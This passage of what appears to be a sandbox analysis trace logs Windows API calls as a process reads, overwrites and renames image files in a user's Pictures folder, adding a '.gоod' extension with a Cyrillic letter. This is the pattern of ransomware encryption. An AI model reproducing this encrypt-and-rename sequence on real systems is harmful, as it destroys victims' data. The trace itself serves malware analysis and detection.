lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\PnIHgBm.png.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\pnihgbm.png.gоod")) returned 1 [0170.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", lpFilePart=0x0) returned 0x2e [0170.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0170.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp"), fInfoLevelId=0x0, lpFileInformation=0x35e2640 | out: lpFileInformation=0x35e2640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49604250, ftCreationTime.dwHighDateTime=0x1d4cc67, ftLastAccessTime.dwLowDateTime=0x305737b0, ftLastAccessTime.dwHighDateTime=0x1d4d08f, ftLastWriteTime.dwLowDateTime=0x305737b0, ftLastWriteTime.dwHighDateTime=0x1d4d08f, nFileSizeHigh=0x0, nFileSizeLow=0x20c0)) returned 1 [0170.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0170.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", lpFilePart=0x0) returned 0x2e [0170.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0170.036] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0170.036] GetFileType (hFile=0x810) returned 0x1 [0170.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0170.037] GetFileType (hFile=0x810) returned 0x1 [0170.037] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0170.037] ReadFile (in: hFile=0x810, lpBuffer=0x35e2a18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x35e2a18*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0170.037] CloseHandle (hObject=0x810) returned 1 [0170.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", lpFilePart=0x0) returned 0x2e [0170.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0170.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0170.037] GetFileType (hFile=0x810) returned 0x1 [0170.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0170.037] GetFileType (hFile=0x810) returned 0x1 [0170.037] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x20c0 [0170.037] WriteFile (in: hFile=0x810, lpBuffer=0x35e3c90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x35e3c90*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0170.038] CloseHandle (hObject=0x810) returned 1 [0170.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", lpFilePart=0x0) returned 0x2e [0170.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0170.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0170.038] GetFileType (hFile=0x810) returned 0x1 [0170.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0170.038] GetFileType (hFile=0x810) returned 0x1 [0170.038] ReadFile (in: hFile=0x810, lpBuffer=0x35e5f30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x35e5f30*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0171.034] CloseHandle (hObject=0x810) returned 1 [0171.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", lpFilePart=0x0) returned 0x2e [0171.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0171.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.035] GetFileType (hFile=0x810) returned 0x1 [0171.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0171.035] GetFileType (hFile=0x810) returned 0x1 [0171.035] WriteFile (in: hFile=0x810, lpBuffer=0x32fff98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x32fff98*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0171.035] CloseHandle (hObject=0x810) returned 1 [0171.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp", lpFilePart=0x0) returned 0x2e [0171.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp.gоod", lpFilePart=0x0) returned 0x33 [0171.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0171.035] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49604250, ftCreationTime.dwHighDateTime=0x1d4cc67, ftLastAccessTime.dwLowDateTime=0x305737b0, ftLastAccessTime.dwHighDateTime=0x1d4d08f, ftLastWriteTime.dwLowDateTime=0x6227ca89, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20d0)) returned 1 [0171.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0171.036] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ptY4pSuBN4XECBdjn.bmp.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\pty4psubn4xecbdjn.bmp.gоod")) returned 1 [0171.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", lpFilePart=0x0) returned 0x23 [0171.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0171.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png"), fInfoLevelId=0x0, lpFileInformation=0x33ce628 | out: lpFileInformation=0x33ce628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7a6b0, ftCreationTime.dwHighDateTime=0x1d4d273, ftLastAccessTime.dwLowDateTime=0xcd252390, ftLastAccessTime.dwHighDateTime=0x1d4d373, ftLastWriteTime.dwLowDateTime=0xcd252390, ftLastWriteTime.dwHighDateTime=0x1d4d373, nFileSizeHigh=0x0, nFileSizeLow=0x3dd6)) returned 1 [0171.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0171.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", lpFilePart=0x0) returned 0x23 [0171.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0171.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.037] GetFileType (hFile=0x810) returned 0x1 [0171.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0171.037] GetFileType (hFile=0x810) returned 0x1 [0171.037] SetFilePointer (in: hFile=0x810, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0171.037] ReadFile (in: hFile=0x810, lpBuffer=0x33ce9a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x33ce9a0*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0171.037] CloseHandle (hObject=0x810) returned 1 [0171.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", lpFilePart=0x0) returned 0x23 [0171.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0171.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.038] GetFileType (hFile=0x810) returned 0x1 [0171.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0171.038] GetFileType (hFile=0x810) returned 0x1 [0171.038] SetFilePointer (in: hFile=0x810, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x3dd6 [0171.038] WriteFile (in: hFile=0x810, lpBuffer=0x33cfbe8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x33cfbe8*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0171.038] CloseHandle (hObject=0x810) returned 1 [0171.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", lpFilePart=0x0) returned 0x23 [0171.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0171.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x810 [0171.038] GetFileType (hFile=0x810) returned 0x1 [0171.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0171.038] GetFileType (hFile=0x810) returned 0x1 [0171.038] ReadFile (in: hFile=0x810, lpBuffer=0x33d1e58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x33d1e58*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0171.481] CloseHandle (hObject=0x810) returned 1 [0171.481] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", lpFilePart=0x0) returned 0x23 [0171.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0171.481] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0172.157] GetFileType (hFile=0x650) returned 0x1 [0172.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.158] GetFileType (hFile=0x650) returned 0x1 [0172.439] WriteFile (in: hFile=0x650, lpBuffer=0x3360cb0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x3360cb0*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0172.439] CloseHandle (hObject=0x650) returned 1 [0172.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png", lpFilePart=0x0) returned 0x23 [0172.680] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png.gоod", lpFilePart=0x0) returned 0x28 [0172.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0172.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7a6b0, ftCreationTime.dwHighDateTime=0x1d4d273, ftLastAccessTime.dwLowDateTime=0xcd252390, ftLastAccessTime.dwHighDateTime=0x1d4d373, ftLastWriteTime.dwLowDateTime=0x62fe5f0b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3de6)) returned 1 [0172.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0172.680] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\ry_7zI.png.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\ry_7zi.png.gоod")) returned 1 [0172.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", lpFilePart=0x0) returned 0x30 [0172.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0172.681] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif"), fInfoLevelId=0x0, lpFileInformation=0x349c8e0 | out: lpFileInformation=0x349c8e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d4bd60, ftCreationTime.dwHighDateTime=0x1d4c74d, ftLastAccessTime.dwLowDateTime=0xd6fd69e0, ftLastAccessTime.dwHighDateTime=0x1d4c775, ftLastWriteTime.dwLowDateTime=0xd6fd69e0, ftLastWriteTime.dwHighDateTime=0x1d4c775, nFileSizeHigh=0x0, nFileSizeLow=0x6862)) returned 1 [0172.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0172.681] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", lpFilePart=0x0) returned 0x30 [0172.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0172.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.682] GetFileType (hFile=0x768) returned 0x1 [0172.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.682] GetFileType (hFile=0x768) returned 0x1 [0172.682] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x1000 [0172.682] ReadFile (in: hFile=0x768, lpBuffer=0x349ccc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee1a8, lpOverlapped=0x0 | out: lpBuffer=0x349ccc8*, lpNumberOfBytesRead=0x202ee1a8*=0x1000, lpOverlapped=0x0) returned 1 [0172.682] CloseHandle (hObject=0x768) returned 1 [0172.682] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", lpFilePart=0x0) returned 0x30 [0172.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0172.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.682] GetFileType (hFile=0x768) returned 0x1 [0172.682] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.682] GetFileType (hFile=0x768) returned 0x1 [0172.682] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ee1d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ee1d8*=0) returned 0x6862 [0172.682] WriteFile (in: hFile=0x768, lpBuffer=0x349df48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ee0c8, lpOverlapped=0x0 | out: lpBuffer=0x349df48*, lpNumberOfBytesWritten=0x202ee0c8*=0x10, lpOverlapped=0x0) returned 1 [0172.683] CloseHandle (hObject=0x768) returned 1 [0172.683] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", lpFilePart=0x0) returned 0x30 [0172.683] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0172.683] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.683] GetFileType (hFile=0x768) returned 0x1 [0172.683] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.683] GetFileType (hFile=0x768) returned 0x1 [0172.683] ReadFile (in: hFile=0x768, lpBuffer=0x34a01f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ee158, lpOverlapped=0x0 | out: lpBuffer=0x34a01f0*, lpNumberOfBytesRead=0x202ee158*=0x1000, lpOverlapped=0x0) returned 1 [0172.721] CloseHandle (hObject=0x768) returned 1 [0172.721] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", lpFilePart=0x0) returned 0x30 [0172.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0172.721] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.721] GetFileType (hFile=0x768) returned 0x1 [0172.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202edff0) returned 1 [0172.722] GetFileType (hFile=0x768) returned 0x1 [0172.722] WriteFile (in: hFile=0x768, lpBuffer=0x349ef60*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ee208, lpOverlapped=0x0 | out: lpBuffer=0x349ef60*, lpNumberOfBytesWritten=0x202ee208*=0x1010, lpOverlapped=0x0) returned 1 [0172.722] CloseHandle (hObject=0x768) returned 1 [0172.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif", lpFilePart=0x0) returned 0x30 [0172.722] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif.gоod", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif.gоod", lpFilePart=0x0) returned 0x35 [0172.722] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee140) returned 1 [0172.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif"), fInfoLevelId=0x0, lpFileInformation=0x202ee220 | out: lpFileInformation=0x202ee220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d4bd60, ftCreationTime.dwHighDateTime=0x1d4c74d, ftLastAccessTime.dwLowDateTime=0xd6fd69e0, ftLastAccessTime.dwHighDateTime=0x1d4c775, ftLastWriteTime.dwLowDateTime=0x632946fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6872)) returned 1 [0172.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee100) returned 1 [0172.722] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\TZ1SzNcS-gkL2O7NQLC.gif.gоod" (normalized: "c:\\users\\fd1hvy\\pictures\\tz1szncs-gkl2o7nqlc.gif.gоod")) returned 1 [0172.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", nBufferLength=0x105, lpBuffer=0x202edcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", lpFilePart=0x0) returned 0x28 [0172.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee180) returned 1 [0172.723] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg"), fInfoLevelId=0x0, lpFileInformation=0x351c660 | out: lpFileInformation=0x351c660*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd8b4260, ftCreationTime.dwHighDateTime=0x1d4c6a9, ftLastAccessTime.dwLowDateTime=0xb4200e0, ftLastAccessTime.dwHighDateTime=0x1d4cfcc, ftLastWriteTime.dwLowDateTime=0xb4200e0, ftLastWriteTime.dwHighDateTime=0x1d4cfcc, nFileSizeHigh=0x0, nFileSizeLow=0x3148)) returned 1 [0172.723] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ee140) returned 1 [0172.723] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", nBufferLength=0x105, lpBuffer=0x202edb60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg", lpFilePart=0x0) returned 0x28 [0172.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ee080) returned 1 [0172.723] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\U7t s8nV9Qw.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\u7t s8nv9qw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0172.724] 